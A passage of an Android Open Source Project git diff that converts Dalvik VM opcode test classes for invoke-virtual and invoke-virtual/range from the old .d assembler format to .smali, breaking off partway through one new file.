+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_8.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.d
deleted file mode 100644
index f695913..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_9.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v8, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali
new file mode 100644
index 0000000..707456a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_9.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v8, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.d
deleted file mode 100644
index c39399e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TPlain.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.TPlain
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali
new file mode 100644
index 0000000..b789b19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.d
deleted file mode 100644
index b375fc5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.d
+++ /dev/null
@@ -1,67 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.TSuper
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
-    
-.method public toInt(F)I 
-.limit regs 3
-    float-to-int v0, v2
-    return v0
-.end method
-
-.method public native toIntNative()I    
-.end method
-    
-.method public static toIntStatic()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
-  
-.method protected toIntP()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method  
-
-.method private toIntPvt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method  
-    
-.method public testArgsOrder(II)I
-.limit regs 4
-    const v0, 349
-    const v1, 344656
-    div-int v2, v2, v3
-    return v2
-.end method   
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.smali
new file mode 100644
index 0000000..be02e8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.smali
@@ -0,0 +1,84 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+.super Ljava/lang/Object;
+.source "TSuper.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private toIntPvt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public static toIntStatic()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public testArgsOrder(II)I
+    .registers 4
+
+    const v0, 0x15d
+
+    const p0, 0x54250
+
+    div-int p1, p1, p2
+
+    return p1
+.end method
+
+.method public toInt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public toInt(F)I
+    .registers 3
+
+    float-to-int v0, p1
+
+    return v0
+.end method
+
+.method public native toIntNative()I
+.end method
+
+.method protected toIntP()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.d
deleted file mode 100644
index 882b227..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper2.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.TSuper2
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public test()I 
-.limit regs 3
-    const v0, 123
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali
new file mode 100644
index 0000000..eec2160
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.d
deleted file mode 100644
index b7f13d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_1.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual/range {v6..v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali
new file mode 100644
index 0000000..887460b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.d
deleted file mode 100644
index 3f327a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_10.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_10
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-    invoke-virtual/range {v0}, dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_10/<clinit>()V
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali
new file mode 100644
index 0000000..4d8488a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-virtual/range {v0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10;-><clinit>()V
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.d
deleted file mode 100644
index b109ace..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_11.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual/range {v6}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali
new file mode 100644
index 0000000..c9be09d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.d
deleted file mode 100644
index 93df0f5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_12.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test(Ljava/lang/String;)V
-.limit regs 2
-    return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       move-object v6, v5
-       invoke-virtual/range {v6..v7}, dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_12/test(Ljava/lang/String;)V
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali
new file mode 100644
index 0000000..ae0757e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public test(Ljava/lang/String;)V
+.registers 2
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       move-object v6, v5
+       invoke-virtual/range {v6..v7}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12;->test(Ljava/lang/String;)V
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.d
deleted file mode 100644
index fd6de25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_13.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali
new file mode 100644
index 0000000..3503514
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_13;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.d
deleted file mode 100644
index 32cd481..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.d
+++ /dev/null
@@ -1,57 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_14.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_14
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 7
-
-    const v1, 123
-    const v2, 659
-    
-    const v4, 300
-    const v5, 3
-    move-object v3, v6
-
-    invoke-virtual/range {v3..v5}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14/testArgsOrder(II)I
-
-    move-result v3
-    const v4, 100
-    if-ne v3, v4, Label0
-
-    const v4, 123
-    if-ne v1, v4, Label0
-
-    const v4, 659
-    if-ne v2, v4, Label0
-    
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali
new file mode 100644
index 0000000..07f314e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14.smali
@@ -0,0 +1,57 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_14;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 7
+
+    const v1, 123
+    const v2, 659
+    
+    const v4, 300
+    const v5, 3
